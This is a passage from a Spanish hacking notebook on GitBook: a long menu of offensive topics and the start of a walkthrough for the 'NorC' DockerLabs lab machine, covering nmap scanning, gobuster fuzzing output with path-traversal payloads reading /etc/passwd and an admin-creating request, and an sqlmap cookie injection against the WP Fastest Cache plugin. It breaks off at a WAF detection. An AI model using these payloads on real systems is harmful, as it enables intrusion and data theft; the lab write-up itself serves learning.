h4cker_b00k
  • Whoami
  • ARTIUCLOS
    • Tratamiento para la TTY
    • Permisos SUID
    • Honeypot
    • File2ban Privilege Escalation
    • Reversing Shell's (Creación)
    • Pfsense Firewall Configuración GUIA
    • EternalBlue Conf y Explotación
    • BlueKeep Conf y Explotación
    • Pass-The-Hash en Metasploit
    • Keylogger Automatizado
    • Visualizar Webcam en Windows
    • Kernel Conf Exploit
    • RevrseShell Oculta en windows
    • Crear CTF en Docker
    • Crear Dominio y Subdominio en apache2
    • Sticky Keys Hack
    • Bypass Login Linux (GRUB)
    • WOL (Wake On Lan) Conf
    • Shell Persistente PowerShell
    • Remcos (Técnica RAT)
    • Entorno virtual Anaconda/Miniconda Python
    • CVE-2024-10924 (Bypass-MFA-Wordpress)
    • CVE-2024-21413 (Outlook)
    • CVE-2023-32784 (Keepass-password-dump)
    • FTP vsftpd-2.3.4 backdoor
    • Activación de Office Permanente
    • Instalar SPSS (crack)
    • Servidor Node.js en Windows
    • Establecer Banner de entrada Ubuntu Server
    • Configuración de VLANs en Switch (PuTTY)
    • Crear Entorno Vulnerable en Nube Local (Docker)
  • Linux
    • Determinar S.O. (Victima)
  • Windows
    • Comandos Windows S.0.
    • Bypass UAC (Windows)
  • HERRAMIENTAS/TÉCNICAS
    • HackingWeb
      • SQL Injection
      • XSS (Cross Site Scripting)
      • NoSQL Injection
      • XXE Injection
      • Serialización/Deserialización
        • Deserialización Insegura Java (LAB)
        • Deserialización Insegura (PHP, Python y Java)
        • Deserialización Insegura PHP
        • Deserialización Insegura Python
      • Vulnerabilidad Open Redirect
      • XEE (XML External Entity Injection)
      • SSTI (Server-Side Template Injection)
      • Prototype Pollution (Contaminación de prototipos) JavaScript
      • IDOR (Insecure Direct Object Reference)
      • CORS (Cross-Origin Resource Sharing)
        • PortSwigger - CORS vulnerability with basic origin reflection
      • CSRF (Cross-Site Request Forgery)
    • Ingeniería Inversa
      • Radare2
    • Reconocimiento
      • NMAP
      • Dominios/Subdominios
      • Fuzzing
      • Crackmapexec
    • Explotación
      • LFI (Local File Inclusion)
      • Evil-winrm
      • Serealizacion/Deserealizacion
      • Poetry
    • Post-Explotación
      • Port Forwarding
      • A.D. Group Server Operators
      • Decrypt Firefox
    • Criptología
      • Openssl bruteforce script
    • Phishing
      • Phishing - Tools
      • Phishing Técnicas y Resultados
    • BadUSB
      • Digispark/USB Ninja (Función)
      • Digispark (Script)
      • Lista de signos Digispark
      • Bash Bunny
      • ScreenCrab
      • KeyCroc
      • Rubber Ducky
      • USB AutoRun
    • Hacking ActiveDirectory
      • KERBEROASTING Active Directory
      • Active Directory Hacking (Practicas-Teoria)
      • Active Directory Hacking (Auditorias entorno real)
    • DOXEO
      • BoxPiper Pagina Doxeo
      • Epieos Pagina Doxeo
      • Exposed Pagina Doxeo (Correo, numero, etc...)
      • GitHub Para Doxear
      • Hunter Pagina Doxeo
      • IntelligenceX Pagina Doxeo
      • OSINT Industries Pagina Doxeo (Correo, numero, etc...)
      • Phomber GitHub (Doxeo Numero de Teléfono)
      • Temp Mail Pagina Correos Temporales
    • Hacking Wifi
      • Reaver
      • Aircrack-ng (Practica)
    • BOF
      • Introducción
      • ret2win
      • Secuencias de De Bruijn
      • Shellcode
      • NOPs
      • 32-bit vs 64-bit
      • No eXecute (NX)
      • Programación Orientada al Retorno (ROP)
      • Error de Cadena de Formato
      • Stack Canaries
      • Ejecutables Independientes de Posición (PIE)
      • Aleatorización del Espacio de Direcciones (ASLR)
      • Sobrescritura de la Tabla de Desplazamiento Global (GOT)
      • RELRO (Relocation Read-Only)
      • Shellcode Confiable
      • One Gadgets y Malloc Hook
      • Syscalls (Llamadas al Sistema)
      • ret2dlresolve
      • ret2csu
      • Explotación a Través de Sockets
      • Creación de Procesos: fork
      • Stack Pivoting
  • CTF
    • VulnHub
      • Basic_Pentesting_1 VulnHub
      • Basic_Pentesting2 VulbHub
      • Corrosion2 VulnHub
      • BassamCTF VulnHub
      • BORN2ROOT_2 VulnHub
      • CengBox VulnHub
      • Chill_hack VulnHub
      • CK-00 VulnHub
      • Clover_1 VulnHub
      • Cofeeaddicts VulnHub
      • Connect-The-Dots VulnHub
      • djinn_2 VulnHub
      • driftingblues_7 VulnHub
      • doubletrouble VulnHub
      • Dripping_blues VulnHub
      • Durian VulnHub
      • Election VulnHub
      • Empire Lupin One VulnHub
      • EVILBOX_ONE VulnHub
      • Funbox_Lunchbreaker VulnHub
      • Gaara VulnHub
      • Gigachad_vh VulnHub
      • HACK ME PLEASE VulnHub
      • HACKATHONCTF2 VulnHub
      • Hackeable ll VulnHub
      • Hacksudo_Aliens VulnHub
      • Ica1 VulnHub
      • Jangow VulnHub
      • Jetty VulnHub
      • LiterallyVulnerable VulnHub
      • Masashi VulnHub
      • MINU_1 VulnHub
      • Momentum VulnHub
      • MoneyBox VulnHub
      • Monitoring VulnHub
      • Noob VulnHub
      • Odin VulnHub
      • Photographer VulnHub
      • Prime_2 VulnHub
      • PYLINGTON VulnHub
      • RootThis_1 VulnHub
      • Seppuku VulnHub
      • shenron-3 VulnHub
      • Shuriken_1 VulnHub
      • So_simple_1 VulnHub
      • Stapler VulnHub
      • Sumo VulnHub
      • SUNSET_DUSK VulnHub
      • Symfonos_1 VulnHub
      • System_failure VulnHub
      • Thales VulnHub
      • THOTH_TECH_1 VulnHub
      • unknowndevice64 VulnHub
      • Vikings VulnHub
      • ColddBoxEasy_EN VulnHub
      • KB-VULN3 VulnHub
      • Funbox_CTF_4 VulnHub
      • NASEF_1 LOCATING TARGET VulnHub
      • NiveK VulnHub
    • HackTheBox
      • Usage HackTheBox
      • Perfection HackTheBox
      • Headless HackTheBox
      • Editorial HackTheBox
      • Builder HackTheBox
      • BoardLight HackTheBox
      • Bizness HackTheBox
      • Chemistry HackTheBox
      • Titanic HackTheBox
    • TryHackMe
      • RootMe TryHackMe
      • Bounty Hacker TryHackMe
      • Mr Robot CTF TryHackMe
      • Creative TryHackMe
    • Dockerlabs
      • AaguaDeMayo DockerLabs (Easy)
      • Asucar DockerLabs (Intermediate)
      • Bashpariencias DockerLabs (Intermediate)
      • Chocolatefire DockerLabs (Intermediate)
      • Collections DockerLabs (Intermediate)
      • Skullnet Dockerlabs (Difícil)
      • Mirame DockerLabs (Easy)
      • Buscalove DockerLabs (Easy)
      • Hidden DockerLabs (Intermediate)
      • Hackpenguin DockerLabs (Intermediate)
      • Fileception DockerLabs (Intermediate)
      • Domain DockerLabs (Intermediate)
      • ChatMe DockerLabs (Intermediate)
      • Devil DockerLabs (Intermediate)
      • Usersearch DockerLabs (intermediate)
      • Insecure DockerLabs (Hard)
      • Debugme DockerLabs (Hard)
      • Forgotten_portal DockerLabs (Intermediate)
      • Elevator DockerLabs (Easy)
      • Stack DockerLabs (Intermediate)
      • Hedgehog DockerLabs (Very Easy)
      • Report DockerLabs (intermediate)
      • Reverse DockerLabs (intermediate)
      • Reflection DockerLabs (Easy)
      • Spain DockerLabs (Hard)
      • Raas DockerLabs (Hard)
      • Database DockerLabs (Intermediate)
      • DevTools DockerLabs (intermediate)
      • Dockerlabs DockerLabs (Easy)
      • PyRed DockerLabs (Intermediate)
      • SecretJenkins DockerLabs (Easy)
      • Backend DockerLabs (Easy)
      • Eclipse DockerLabs (intermediate)
      • Cachopo DockerLabs (Intermediate)
      • Fooding DockerLabs (Intermediate)
      • Extraviado DockerLabs (Easy)
      • DockHackLab DockerLabs (Intermediate)
      • SummerVibes DockerLabs (Hard)
      • WalkingCMS DockerLabs (Easy)
      • Patriaquerida DockerLabs (Easy)
      • Psycho DockerLabs (Easy)
      • Picadilly DockerLabs (Easy)
      • Anonymouspingu DockerLabs (Easy)
      • Veneno DockerLabs (Intermediate)
      • DoubleTrouble DockerLabs (Hard)
      • FindYouStyle DockerLabs (Easy)
      • Move DockerLabs (Easy)
      • Los 40 Ladrones DockerLabs (Easy)
      • Library DockerLabs (Easy)
      • NorC DockerLabs (Hard)
      • Predictable DockerLabs (Hard)
      • Winterfell DockerLabs (Easy)
      • Pntopntobarra DockerLabs (Easy)
      • ConsoleLog DockerLabs (Easy)
      • Queuemedic DockerLabs (Hard)
      • Stranger DockerLabs (Intermediate)
      • WhereIsMyWebShell DockerLabs (Easy)
      • Insanity DockerLabs (Hard)
      • NodeClimb DockerLabs (Easy)
      • MyBB DockerLabs (Intermediate)
      • Seeker DockerLabs (Intermediate)
      • sjd DockerLabs (Very Easy)
      • Hiddencat DockerLabs (Easy)
      • Verdejo DockerLabs (Easy)
      • ChocolateLovers DockerLabs (Easy)
      • Pinguinazo DockerLabs (Easy)
      • Vendetta DockerLabs (Easy)
      • Pequenas-mentirosas DockerLabs (Easy)
      • Balulero DockerLabs (Easy)
      • Whoiam DockerLabs (Easy)
      • Apolos DockerLabs (Intermediate)
      • Injection DockerLabs (Very Easy)
      • Unrecover DockerLabs (Intermediate)
      • Trust DockerLabs (Very Easy)
      • Firsthacking DockerLabs (Very Easy)
      • BreakMySSH DockerLabs (Very Easy)
      • Borazuwarahctf DockerLabs (Very Easy)
      • Vacaciones DockerLabs (Very Easy)
      • Obsession DockerLabs (Very Easy)
      • Swiss DockerLabs (Intermediate)
      • Internship DockerLabs (Easy)
      • Canario DockerLabs (Hard)
      • ApiRoot DockerLabs (Intermediate)
      • Amor DockerLabs (Easy)
      • Walking Dead DockerLabs (Easy)
      • Master DockerLabs (Intermediate)
      • StrongJenkins DockerLabs (Intermediate)
      • PingPong DockerLabs (Intermediate)
      • Allien DockerLabs (Easy)
      • Paradise DockerLabs (Easy)
      • ApiBase DockerLabs (Easy)
      • Smashing DockerLabs (Hard)
      • Rubiks DockerLabs (Intermediate)
      • Inclusion DockerLabs (Intermediate)
      • Sites DockerLabs (Intermediate)
      • Upload DockerLabs (Easy)
      • ShowTime DockerLabs (Easy)
      • MachuPicchu DockerLabs (Intermediate)
      • ChocoPing DockerLabs (Intermediate)
      • Crystalteam DockerLabs (Intermediate)
      • Balufood DockerLabs (Easy)
      • Bicho DockerLabs (Easy)
      • Gallery DockerLabs (Hard)
      • Ciberguard DockerLabs (Intermediate)
      • Galeria DockerLabs (Easy)
      • TheDog DockerLabs (Intermediate)
    • BugBountyLabs
      • Reflection BugBountyLabs (Principiante)
      • Escape BugBountyLabs (Principiante)
      • DogShow BugBountyLabs (Avanzado)
      • Trr0rlabs BugBountyLabs (Avanzado)
      • XSSaS BugBountyLabs (Experto)
      • Redirection BugBountyLabs (Principiante)
      • HiddenRedirection BugBountyLabs (Principiante)
      • Corsy BugBountyLabs (Avanzado)
      • Forgery BugBountyLabs (Principiante)
      • ConnectX BugBountyLabs (Principiante)
      • NeoMarket BugBountyLabs (Avanzado)
      • Access BugBountyLabs (Principiante)
      • Listing BugBountyLabs (Principiante)
    • TheHackersLabs
      • Quokka (Windows) TheHackersLabs (Principiante)
      • Microchoft (Windows) TheHackersLabs (Principiante)
      • Ensalá Papas (Windows) TheHackersLabs (Principiante)
      • Accounting (Windows) TheHackersLabs (Principiante)
      • Cocido Andaluz (Windows) TheHackersLabs (Principiante)
      • Espeto Malagueño (Windows) TheHackersLabs (Principiante)
    • HackMyVM
      • Liar HackMyVM (Easy - Windows)
      • Zero HackMyVM (Easy - Windows)
      • Simple HackMyVM (Easy - Windows)
      • TriplAdvisor HackMyVM (Easy - Windows)
      • Runas HackMyVM (Easy - Windows)
      • Always HackMyVM (Easy - Windows)
      • DC01 HackMyVM (Easy - Windows)
      • quoted HackMyVM (Easy - Windows)
      • Nessus HackMyVM (Easy - Windows)
      • Jan HackMyVM (Easy - Linux)
      • DC02 HackMyVM (Intermediate - Windows)
      • Qweasd HackMyVM (Intermediate - Linux)
      • Gift HackMyVM (Easy - Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Smol HackMyVM (Intermediate - Linux)
      • Noob HackMyVM (Easy- Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Hundred HackMyVM (Intermediate - Linux)
      • Driftingblues6 HackMyVM (Easy- Linux)
      • Alzheimer HackMyVM (Easy- Linux)
      • Tron HackMyVM (Easy- Linux)
      • Superhuman HackMyVM (Easy- Linux)
      • Ripper HackMyVM (Easy- Linux)
      • Gigachard HackMyVM (Easy- Linux)
      • Hidden HackMyVM (Easy- Linux)
      • Method HackMyVM (Easy- Linux)
      • Hostname HackMyVM (Easy- Linux)
      • BaseME HackMyVM (Easy- Linux)
      • May HackMyVM (Intermediate - Linux)
      • Driftingblues3 HackMyVM (Easy- Linux)
      • hommie HackMyVM (Easy- Linux)
      • forbidden HackMyVM (Intermediate- Linux)
      • t800 HackMyVM (Easy - Linux)
      • Twisted HackMyVM (Easy- Linux)
      • Connection HackMyVM (Easy - Linux)
      • Flower HackMyVM (Easy- Linux)
      • Helium HackMyVM (Easy- Linux)
      • Suidy HackMyVM (Intermediate - Linux)
      • WebMaster HackMyVM (Easy - Linux)
      • Locker HackMyVM (Easy - Linux)
      • Soul HackMyVM (Hard - Linux)
      • Visions HackMyVM (Easy - Linux)
      • Friendly3 HackMyVM (Easy - Linux)
      • Friendly HackMyVM (Easy - Linux)
      • Friendly2 HackMyVM (Easy - Linux)
      • Comingsoon HackMyVM (Easy - Linux)
      • SuidyRevenge HackMyVM (Hard - Linux)
      • Insomnia HackMyVM (Easy - Linux)
      • Uvalde HackMyVM (Easy - Linux)
      • System HackMyVM (Easy - Linux)
    • CTF's
      • CTF Avengers Easy
      • CTF Ciberhack Intermediate
      • Ghost CTF Hard
      • CTF Cyb3rSh1€ld Intermediate
      • CTF HackMeDaddy Hard
      • CTF inj3ct0rs Intermediate
      • CTF LFI.elf Easy
      • CTF Ctrl-X Easy
      • CTF r00tless Hard
      • CTF 0xc0ffee Intermediate
      • CTF Memesploit Intermediate
      • CTF Jenkhack Easy
      • CTF chmod-4755 Intermediate
      • CTF 404-not-found Easy
      • CTF dance-samba Intermediate
      • CTF VulnVault Intermediate
      • CTF CrackOff Hard
      • CTF PressEnter Easy
      • CTF Mapache2 Intermediate
      • CTF Hackzones Intermediate
      • CTF Darkweb Hard
      • CTF Flow Hard
      • CTF Sender Intermediate
      • CTF Cracker Intermediate
      • CTF Express Intermediate
      • CTF CineHack Intermediate
      • CTF LifeOrDead Hard
      • CTF TpRoot Very Easy
      • CTF Gitea Intermediate
      • CTF SecureLAB Hard
      • CTF Goodness Easy
      • CTF LogisticCloud Intermediate
  • Conceptos de Ciberseguridad en Hacking Ético
    • Contenido...
      • Teoría Hacking Ético
        • Introducción
      • Recopilación Pasiva de información
        • Introducción
        • Hacking con buscadores de internet
        • Pagina Shodan
        • Pagina Censys
        • Registros o BBDD Whois
        • Archive (Análisis de información histórica)
        • TheHarvester
          • TheHarvester Herramienta
          • Bloqueo temporal de dirección IP pública
        • Maltego
          • Instalacion de maltego en kali linux
          • Funcionamiento de Maltego
          • Instalar transformador con API Key
          • Utilizar transformador shodan en maltego
        • Recon-ng Herramienta
      • Recopilación Semi-Pasiva de información
        • Introducción
        • Entorno controlado (LAB)
        • FOCA (Análisis de metadatos)
          • Introducción FOCA
          • Instalar FOCA
          • Funciones de FOCA
        • Herramientas alternativas para Kali de extracción de metadatos
          • Herramienta Metagoofil
          • Herramienta Metashield-analyzer
        • Introducción al protocolo DNS
        • CentralOps y DNSdumpster
          • CentralOps
          • DNSdumpster
        • Sniffers
          • Wireshark
          • TCPdump
      • Recopilación Activa de información
        • Introducción
        • Metasploitable3
          • Entorno vulnerable (Metasploitable3 (Presentación))
          • Instalacion de Metasploitable3
          • Linux Ubuntu-Windows Server 2008 - Metasploitable3
        • DNSRecon Herramienta (Ficheros de zona)
        • Nmap Herramienta
          • Introducción
          • Descubrimiento de hosts (Host Discovery)
          • Escaneo de puertos
          • Descubrimiento de servicios
          • Amap (descubrimiento de servicios)
          • Nmap (identificación del sistema operativo)
          • Nmap (SMB Enumeration)
          • Nmap (SNMP enumeration)
      • Análisis de vulnerabilidades
        • Introducción
        • CVE, CVSS, CPE - Common Vulnerabilities and Exposures
        • Análisis de vulnerabilidades con Nmap
        • Nessus Herramienta (Mas utilizada)
          • Instalación Nessus
          • Nessus (Análisis básico de vulnerabilidades)
          • Nessus (Análisis avanzado de vulnerabilidades)
        • Otras Herramientas
      • Explotación y Hacking de vulnerabilidades en Hosts
        • Explotación de vulnerabilidades
        • Explotacion manual de vulnerabilidades Host
        • Metasploit Herramienta
          • Introducción
          • Metasploit (Explotación básica)
          • Metasploit (explotación avanzada)
          • Metasploit (Creación de payloads personalizados)
          • Metasploit (Importando los resultados de Nessus)
          • Armitage (interfaz grafica de metasploit)
      • Explotación y Hacking de vulnerabilidades Web
        • Instalación de maquina virtual Ubuntu
        • Instalación aplicación Web vulnerable (Mutillidae II)
        • Burp Suite
          • Introducción
          • Spidering y Crawling con Burp Suite y skipfish
          • Inyecciones de codigo y contexto
        • Introducción (SQL Injection)
        • SQLmap Herramienta
          • SQLmap (Blind SQL Injection - Parte 1)
          • SQLmap (Funcionalidad - Parte 2)
        • Path Traversal o Directory Traversal
        • WebShells
        • Unrestricted File Upload
        • HTML Injection y Cross-Site-Scripting (XSS)
        • CSRF (Cross-site request forgery)
        • XSStrike Herramienta
        • Otras técnicas de explotación (Cookie Tampering, command injection...)
          • Command Injection
          • Cookie Tampering
        • Info Extra Burp Suite
      • Explotación y Hacking de vulnerabilidades en Red
        • Man in the middle (MITM)
        • Introducción e instalación de Bettercap
        • ARP Spoofing
        • DNS Spoofing
        • Social Engineering ToolKit (SET)
        • Polymorph Herramienta
          • Manipulación de trafico de red en tiempo real
          • Polymorph (Manipulación de trafico ICMP)
          • Polymorph (Manipulación de trafico MQTT)
          • BONUS (Explotando un fallo de seguridad en Windows 10)
          • DEMO (Explotación avanzada WINREG)
      • Técnicas de Post-Explotación
        • Introducción (Técnica de Post-Explotación)
        • Linux-Windows Meterpreter Post-Explotación
          • Linux (Meterpreter para Post-Explotación)
          • Windows (Meterpreter para Post-Explotación)
          • Elevación de privilegios (UAC Bypass)
          • Volcado de memoria con Mimikatz
        • Procdump y lsass.exe
        • Cracking de contraseñas (John the ripper y Hashcat)
        • Backdoors en binarios
        • Migración de meterpreter a otro proceso
        • Borrado de evidencias
          • Info
          • Linux (Herramientas Borrado de evidencias)
          • Windows (Herramientas Borrado de evidencias)
          • Archivos relevantes para eliminar
            • Rutas Windows Importantes que borrar
            • Rutas Linux Importantes que borrar
      • Machine Learning aplicado a Hacking
        • Introducción
        • Machine Learning aplicado a la Ciberseguridad
        • BATEA (Reconocimiento de hosts con ML)
        • Pesidious (Mutaciones con Deep Learning)
        • Ingeniería Social - Deep fake
  • ciberseguridad avanzada hacking ético
    • Contenido...
      • Entorno de aprendizaje
        • CherryTry
        • Entorno de trabajo (Kali Linux)
      • Recopilación avanzada de información
        • Introducción
        • Preparación del entorno - VulnHub
        • Preparación del entorno - Snort
        • Escaneo Avanzado de Hosts - Parte l
        • Escaneo avanzado de puertos
        • Fragmentación de paquetes con Nmap
        • Escaneo utilizando señuelos con Nmap
        • Spoofing de la identidad del atacante con Nmap
        • Control de velocidad de escaneo con Nmap
        • Escaneo en IPv6 con Nmap
        • Escaneo avanzado de servicios y OS
        • Alternativas a Nmap - Naabu y Netcat
        • Escaneo de puertos ultrarrápido - Masscan
      • Hacking Ético en entornos Active Directory - Parte 1
        • Introducción
        • Instalación y configuración del DC
        • Instalación de máquinas Windows en dominio
        • Características de AD - Usuarios, Grupos y OUs
        • Características de AD - GPOs y recursos compartidos
        • Recopilación de información en Active Directory
        • PowerView
        • Enumeración local de SAM
        • Enumeración remota de SAM
        • Impacket y Rpcclient
        • AD Module
        • Enumeración de NTDS - Parte 1
        • Enumeración de NTDS - Parte 2
        • Ldapsearch, pywerview, jxplorer
        • BloodHound
      • Hacking Ético en entornos Active Directory - Parte 2
        • Descriptores de seguridad y ACLs
        • Vulnerable AD
        • Identificación de ACLs vulnerables
        • Explotación de ACLs vulnerables
        • Explotación DCSync
        • Password Spraying
        • Funcionamiento de Kerberos
        • Kerberos en Active Directory
        • Enumeración de usuarios con Kerberos
        • Fuerza bruta con Kerberos
        • AS-REQ Roasting
        • Instalación Rubeus
        • AS-REP Roasting
        • TGS-REP Roasting (Kerberoasting)
      • Acceso a credenciales y movimientos laterales
        • Autenticación y Autorización en Windows
        • Volcado de Isass y SAM en Windows
        • Volcado de Isass y SAM en Linux
        • Volcado de credenciales de dominio cacheadas (mscash)
        • Pass-The-Hash con Windows
        • Pass-The-Hash con Linux
        • Over Pass-The-Hash - Pass-The-Key
        • Pass-The-Ticket
        • ASK-TGT - TGS
        • Kerberos Golden Ticket y Silver Ticket
        • NTLM Roasting
        • LLMNR - NBTNS Poisoning
        • NTLM - SMB Relay
        • Token impersonation
        • Problemas y errores instalación Covenant
        • Frameworks de postexplotación - Covenant
      • Hacking avanzado de aplicaciones web y Bug Bounty
        • Una palabras sobre Bug Bounty
        • Preparación del entorno vulnerable
        • Identificación de subdominios - Subfinder, Sublist3r y Subbrute
        • Identificación de tecnologías web - WhatWeb y WebAnalyzer
        • Identificación de contenido - Dirbuster
        • Gobuster y Seclists
        • Análisis de vulnerabilidades - OWASP ZAP Proxy
        • Nikto y Skipfish
        • Nuclei y Nuclei Templates
        • Fuzzing básico con ffuf
        • Fuzzing avanzado con ffuf
        • Explotación - Commix
        • Changeme, Gitleaks y CyberChef
      • Detección y evasión de defensas
        • Introducción a la evasión de defensas
        • Load Balancing detector - halberd
        • WAF detector - wafw00f
        • Evasión de WAF
        • Evasión de antivirus con C - Parte 1
        • Evasión de antivirus con C - Parte 2
        • Otras técnicas de evasión con C
        • Evasión de detección en tiempo real
        • Evasión con GreatSCT
        • Evasión con TheFatRat
        • Otras herramientas de evasión - Veil, Shellter, MSFManía...
      • Hacking Ético y Post-explotación avanzada
        • Port Forwarding
        • Port Forwarding con SSH
        • Pivoting
        • Netcat Port-Pivot Relay
        • Local Tunneling - LocalTunnel y Ngrok
        • Transferencia de ficheros
      • Hacking Ético en entornos reales (Amazon AWS)
        • Arquitectura y registro en la nube (AWS)
        • Infraestructura de red en la nube (AWS)
        • Seguridad y Computación en la nube (AWS)
        • Balanceadores y almacenamiento en la nube (AWS)
        • Recopilación de información en un entorno real
        • Controles de seguridad en un entorno real
        • Auditando la infraestructura interna
        • Tipos de auditorias de seguridad
  • PROYECTO DAM
    • Documentación PROYECTO_DAM
Powered by GitBook
On this page
  • Instalación
  • Escaneo de puertos
  • Gobuster
  • SQL Injection
  • Escalate user www-data
  • Sanitización de shell (TTY)
  • Escalate user kvzlx
  • Sanitización de shell (TTY)
  • Escalate Privileges
  1. CTF
  2. Dockerlabs

NorC DockerLabs (Hard)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip norc.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh norc.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 10:30 EST
Nmap scan report for 172.17.0.2
Host is up (0.000035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 8c:5c:7b:fe:79:92:7a:f9:85:ec:a5:b9:27:25:db:85 (ECDSA)
|_  256 ba:69:95:e3:df:7e:42:ec:69:ed:74:9e:6b:f6:9a:06 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2F172.17.0.2%2F
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.61 seconds

Si nos conectamos a la pagina, no cargara, veremos en la URL que esta intentando acceder mediante un dominio llamado norc.labs por lo que vamos a registrarlo:

nano /etc/hosts

#Dentro del nano
<IP>        norc.labs

Lo guardamos y ahora vamos acceder a el de nuevo, veremos que si carga y veremos que de primeras nos aparece un panel en el que meter una password.

Pero si inspeccionamos el codigo, vemos esta seccion de aqui:

<p class="submit">
			<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" tabindex="100" />
			<input type="hidden" name="password_protected_cookie_test" value="1" />
			<input type="hidden" name="password-protected" value="login" />
			<input type="hidden" name="redirect_to" value="http://172.17.0.2/" />
		</p>

Sobre todo donde pone wp-submit podemos ver que esta utilizando wp por lo que podemos deducir que tiene un wordpress instalado, vamos a probar metiendo lo siguiente:

URL = http://norc.labs/wp-admin

Y vemos que efectivamente nos lleva al panel de wordpress de login, probaremos con las credenciales por defecto.

Pero veremos que no funcionan, tambien veremos que tenemos solamente 3 intentos, por lo que no podremos realizar fuerza bruta, vamos a identificar si hubiera algun plugin en el wordpress, que pueda ser vulnerable.

Vamos a realizar un poco de fuzzing ya que no podremos utilizar la herramienta wpscan.

Gobuster

gobuster dir -u http://norc.labs/ -w <WORDLIST> -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://norc.labs/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                ../../Downloads/wp-fuzz.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.........................................................................
/wp-content/plugins/ungallery/source_vuln.php?pic=/../../../../../../../../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/wp-fastest-cache/readme.txt (Status: 200) [Size: 16210]
/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/wp-miniaudioplayer/map_download.php?fileurl=/etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/wptf-image-gallery/lib-mbox/ajax_load.php?url=/etc/passwd (Status: 403) [Size: 199]
/wp-content/plugins/xcloner-backup-and-restore/cloner.cron.php?config=/../../../../../../../../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-content/themes/nestle-action-stations/functions/site/force-download.php?file=../../../../../../../../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-content/themes/sgfc2017/functions/site/force-download.php?file=../../../../../../../../../../../../../../../../etc/passwd (Status: 403) [Size: 199]
/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=admin&user_pass=admin (Status: 401) [Size: 113]
/wp-content/upgrade/upgrade.php (Status: 200) [Size: 2568]
Progress: 6571 / 6571 (100.00%)

Vemos que encontro un plugin llamado wp-fastest-cache vamos a ver que version tiene y buscar un exploit para el mismo si lo tuviera.

URL = http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt

Vemos que tiene la siguiente version:

=== WP Fastest Cache ===
Contributors: emrevona
Donate link: https://profiles.wordpress.org/emrevona/
Tags: cache, Optimize, performance, wp-cache, core web vitals
Requires at least: 3.3
Tested up to: 6.4
Stable tag: 1.2.1
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html

Vemos que tiene la version 1.2.1 y si buscamos un exploit, veremos el siguiente:

Vemos que se le puede realizar un SQL Injection gracias a este Plugin, por lo que tendremos que hacer lo siguiente:

SQL Injection

Veremos la informacion del PoC en el siguiente link:

sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 --schema

Info:

       ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.11#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:09:22 /2025-01-18/

custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] 

[11:09:24] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[11:09:24] [WARNING] provided value for parameter 'wordpress_logged_in' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[11:09:24] [INFO] testing connection to the target URL
got a 302 redirect to 'http://norc.labs'. Do you want to follow? [Y/n] 

[11:09:25] [INFO] checking if the target is protected by some kind of WAF/IPS
[11:09:25] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
